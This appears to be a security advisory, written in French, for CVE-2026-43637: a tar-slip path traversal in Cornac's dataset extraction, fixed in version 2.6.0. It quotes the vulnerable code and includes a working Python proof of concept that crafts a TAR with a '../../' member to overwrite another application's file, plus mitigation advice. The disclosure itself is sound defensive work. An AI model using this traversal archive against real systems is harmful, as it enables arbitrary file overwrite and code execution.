
Traversée de chemin (Tar Slip) dans Cornac via _extract_archive (CVE-2026-43637)
Sévérité : Élevée, CVSS 4.0 8.8, Critique, CVSS 3.1 9.1 (attribué par VulnCheck, la CNA)
Vecteur (v4.0) : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Vecteur (v4.0) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Versions concernées : cornac < 2.6.0
Corrigé dans : 2.6.0
CWE : CWE-22 (Limitation incorrecte d'un nom de chemin à un répertoire restreint, 'Path Traversal')
Signalé par : Rahul Karne et Bharath Kumar Reddy Janumpally
CNA : VulnCheck
Publié : 15 juillet 2026
Les chargeurs de jeux de données de Cornac téléchargent et décompressent automatiquement les archives, et le décompresseur faisait confiance à chaque chemin contenu dans l'archive.
Cornac est un framework d'apprentissage automatique pour les systèmes de recommandation. Ses chargeurs de jeux de données intégrés récupèrent des archives sur le réseau et les extraient sans aucune étape de confirmation. La routine d'extraction _extract_archive() de cornac/utils/download.py appelle archive.extractall() sans validation des chemins des membres. Une archive TAR dont les membres contiennent des séquences ../, des chemins absolus ou des entrées de type lien symbolique et lien physique écrit donc des fichiers à des emplacements arbitraires du système de fichiers, partout où le processus en cours peut écrire, entièrement en dehors du répertoire de cache prévu. Plusieurs chargeurs récupèrent les données via du HTTP non chiffré ; un attaquant positionné sur le réseau peut donc substituer une archive malveillante en transit et la faire extraire dès qu'un chargeur est appelé.
Écriture de fichier arbitraire avec chemin et contenu entièrement contrôlés par l'attaquant, limitée uniquement par les permissions du processus exécutant Cornac. Il s'agit d'une primitive d'écriture, et non de lecture, donc il n'y a pas de divulgation directe, mais l'écriture de fichier arbitraire est une voie bien établie vers l'exécution de code et le déni de service :
.py dans site-packages, d'un fichier de démarrage de shell ou d'une entrée de tâche planifiée fait exécuter le code de l'attaquant lors de l'importation, du shell ou de la tâche suivants.Qui est concerné : toute utilisation de cornac < 2.6.0 qui appelle un chargeur de jeu de données qui télécharge et extrait une archive que l'attaquant peut contrôler ou intercepter. Comme les chargeurs extraient automatiquement, aucune étape au-delà de l'appel ordinaire du chargeur n'est requise.
Qui n'est pas concerné :
2.6.0 ou une version ultérieure, où l'extraction valide chaque chemin de membre.| Métrique | Valeur | Source |
|---|---|---|
| Téléchargements, au total |
_extract_archive() de cornac/utils/download.py extrait les entrées ZIP et TAR via un chemin de code unique et, pour le cas TAR, appelle extractall() sans vérification des chemins :
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Rien ne contraint les noms des membres ; un membre nommé ../../somewhere/file se résout donc en dehors de extract_path et y est écrit.
La chaîne d'appels est entièrement automatique à partir d'un appel de chargeur :
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Le module zipfile de Python assainit les séquences ../ lors de l'extraction ; la branche ZIP de cette même fonction n'est donc pas exploitable sur Python moderne. Le module tarfile de Python n'assainit pas les chemins des membres (avant la 3.12, et uniquement avec un filtre explicite ensuite). Comme Cornac fait passer les deux formats par le même appel extractall(), la branche ZIP est sûre et la branche TAR est entièrement exploitable via les mêmes lignes. L'asymétrie est facile à manquer précisément parce que le code paraît uniforme entre les deux formats.
Cornac télécharge avec urllib.request.urlretrieve(), sans épinglage de certificat ni vérification de l'intégrité de l'archive, et plusieurs chargeurs intégrés utilisent des URL http://. Un attaquant positionné sur le réseau peut intercepter le téléchargement en HTTP non chiffré et renvoyer un TAR malveillant sans compromettre le serveur en amont ; c'est pourquoi le vecteur est distant et ne requiert aucune interaction de l'utilisateur au-delà de l'appel du chargeur.
Un attaquant a besoin de :
< 2.6.0.Aucun privilège sur la cible et aucune interaction de l'utilisateur au-delà de l'appel du chargeur ne sont requis.
Ce qui suit a été exécuté contre le paquet réel, non modifié, en appelant directement la fonction _extract_archive de Cornac.
Version vulnérable (2.3.5). Un TAR contenant un membre ../../ est extrait dans un répertoire de cache ; le membre atterrit en dehors de ce répertoire et écrase un fichier appartenant à une application distincte :
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
Résultat vérifié :
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
Le membre bénin a écrit dans le cache comme prévu ; le membre ../../ a écrit dans le répertoire de l'application distincte, et l'importation de cette application échoue désormais.
Démonstration complète de l'attaque. poc_exploit.py dans ce dépôt exécute la chaîne complète de bout en bout : un serveur HTTP attaquant délivre le TAR malveillant, un chargeur reproduisant la chaîne d'appels cache() plus _extract_archive() de Cornac le télécharge et l'extrait automatiquement à partir d'un seul appel load_feedback(), et deux fichiers sont écrasés dans le répertoire d'une application distincte. La fonction vulnérable _extract_archive() est utilisée telle quelle depuis le code source de Cornac.
Version corrigée (2.6.0). La même archive de traversée est rejetée avant que quoi que ce soit ne soit écrit :
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
Mettez à niveau vers cornac 2.6.0 ou une version ultérieure :
pip install --upgrade "cornac>=2.6.0"
La version 2.6.0 remplace l'appel extractall() sans protection par une fonction auxiliaire _safe_extract() qui résout chaque chemin de membre avec os.path.realpath et rejette toute cible qui ne reste pas dans le répertoire d'extraction ; elle n'autorise que les fichiers et répertoires ordinaires, bloquant les entrées de type lien symbolique, lien physique et périphérique.
Si vous ne pouvez pas mettre à niveau immédiatement : n'appelez pas les chargeurs de jeux de données qui téléchargent via des canaux non fiables ou en HTTP non chiffré, et n'extrayez pas d'archives TAR depuis des sources que vous ne contrôlez pas. La récupération via HTTPS réduit le risque d'interception en transit, mais n'élimine pas le risque lié à un serveur en amont malveillant ou compromis.
VulnCheck (la CNA) a attribué le score 8.8 (Élevé) sous CVSS 4.0
(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).
AV:N : l'archive malveillante est délivrée via le réseau, et plusieurs chargeurs récupèrent les données en HTTP non chiffré sans vérification d'intégrité.AC:L : la création d'un TAR par traversée est triviale et l'attaque fonctionne de manière déterministe à chaque invocation.PR:N : l'attaquant n'a besoin d'aucun compte ni point d'appui sur la cible.UI:N : le chargeur télécharge et extrait automatiquement ; un seul appel de chargeur déclenche toute la chaîne sans étape de confirmation.VC:N : la primitive est en écriture seule, donc aucun impact sur la confidentialité n'est revendiqué.VI:H / VA:H : l'attaquant contrôle entièrement le contenu écrit et peut détruire les fichiers que le processus peut écrire ; l'intégrité et la disponibilité du système affecté sont donc élevées.SC:N / SI:N / SA:N : la CNA a évalué l'impact comme confiné à l'autorité du système vulnérable plutôt qu'à un système subséquent distinct.Le score de 8.8 attribué par la CNA est la valeur faisant autorité pour ce problème.
| Date | Événement |
|---|
Découverte et signalement par Rahul Karne (chercheur en sécurité et Senior Member de l'IEEE) et Bharath Kumar Reddy Janumpally, coordonnés via VulnCheck. Les divulgations connexes de Rahul incluent CVE-2026-65321 (injection SQL dans PyAthena) et CVE-2026-63720 (injection de code dans datamodel-code-generator).
Contact : [email protected] · GitHub : rahulreddykarne
8a50be7 : https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8Demandes des médias : [email protected]. PoC complète (serveur attaquant, archive de traversée, application victime) et détails techniques supplémentaires disponibles sur demande.
| 4.1M |
| pepy.tech/projects/cornac |
| Téléchargements, 30 derniers jours | 67.8K | pepy.tech |
| Utilisation typique | Recherche et enseignement sur les systèmes de recommandation ; les chargeurs de jeux de données récupèrent automatiquement les données sur le réseau, certains en HTTP non chiffré | inhérent au framework |
| 3 mai 2026 | Vulnérabilité identifiée |
| 4 mai 2026 | Signalement (divulgation coordonnée) |
| 14 juillet 2026 | Correctif fusionné (PR #709, commit 8a50be7) |
| 15 juillet 2026 | Version corrigée 2.6.0 publiée |
| 15 juillet 2026 | CVE-2026-43637 publiée par VulnCheck |